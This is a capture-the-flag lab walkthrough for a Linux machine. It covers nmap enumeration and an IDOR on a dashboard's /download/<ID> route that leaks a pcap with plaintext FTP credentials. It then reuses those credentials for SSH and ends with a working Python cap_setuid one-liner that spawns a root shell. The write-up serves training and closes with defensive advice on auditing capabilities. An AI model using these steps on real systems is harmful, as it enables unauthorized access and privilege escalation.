Hints

Enumeration

As usual, we start with an nmap scan to get a list of open ports and services:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
|_http-title: Security Dashboard
| http-methods:
|_  Supported Methods: GET OPTIONS HEAD
|_http-server-header: gunicorn
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Tue, 20 Aug 2024 22:55:11 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest:
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Tue, 20 Aug 2024 22:55:05 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Tue, 20 Aug 2024 22:55:05 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, OPTIONS, HEAD
|     Content-Length: 0
|   RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>

We have 3 ports available to us:

  • 80 : A Web Server serving a security dashboard application with an already logged in user called Nathan.
  • 22 : SSH access
  • 21 : FTP without anonymous access

Exploitation

The web application enables the user to take a “Security Snapshot” at the /capture route and upon clicking the “Download” button, they are presented with a route of /download/<ID> and the browser automatically downloads a .pcap file.

Due to an insecure direct object reference (IDOR), it is possible to look at any ID for the packet captures. Each time the snapshot is taken, the ID increments. It was at 1 during the first usage, so trying 0 is always a good attempt just in case it’s a zero based indexing system.

Going to /download/0 provides a .pcap file that was already on the system that someone else created.

The .pcap file can be opened with wireshark. This tool is not overly complicated to use, and the capture file is small enough that the packets can be visually viewed and immediately interesting communications pop out of the logs. Viewing the ftp traffic reveals the plaintext credentials for the nathan user.

220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS <redacted>
230 Login successful.
SYST
215 UNIX Type: L8
PORT 192,168,196,1,212,140
200 PORT command successful. Consider using PASV.
LIST
150 Here comes the directory listing.
226 Directory send OK.
PORT 192,168,196,1,212,141
200 PORT command successful. Consider using PASV.
LIST -al
150 Here comes the directory listing.
226 Directory send OK.
TYPE I
200 Switching to Binary mode.
PORT 192,168,196,1,212,143
200 PORT command successful. Consider using PASV.
RETR notes.txt
550 Failed to open file.
QUIT
221 Goodbye.

These credentials also work for the SSH service on the machine.

Privilege Escalation

Running getcap -r / 2>/dev/null on the target reveals:

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

The first line is the most interesting. The Python executable has the cap_setuid privilege. Escalation to root is as simple as running:

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'

Audit all systems for excessive capabilities. Capabilities are there to allow control at the application level for access to specific system privileges without tethering that access to a user or group. Capabilities typical allow for greater functionality that only a privileged user should have access to. In this instance, cap_setuid lets anyone with access to that binary to utilize the ability to set a SUID bit on a process. Attaching this capability to something like a Python interpreter gives it too much power. It should not have the ability to set a SUID, there is no logical reason for this.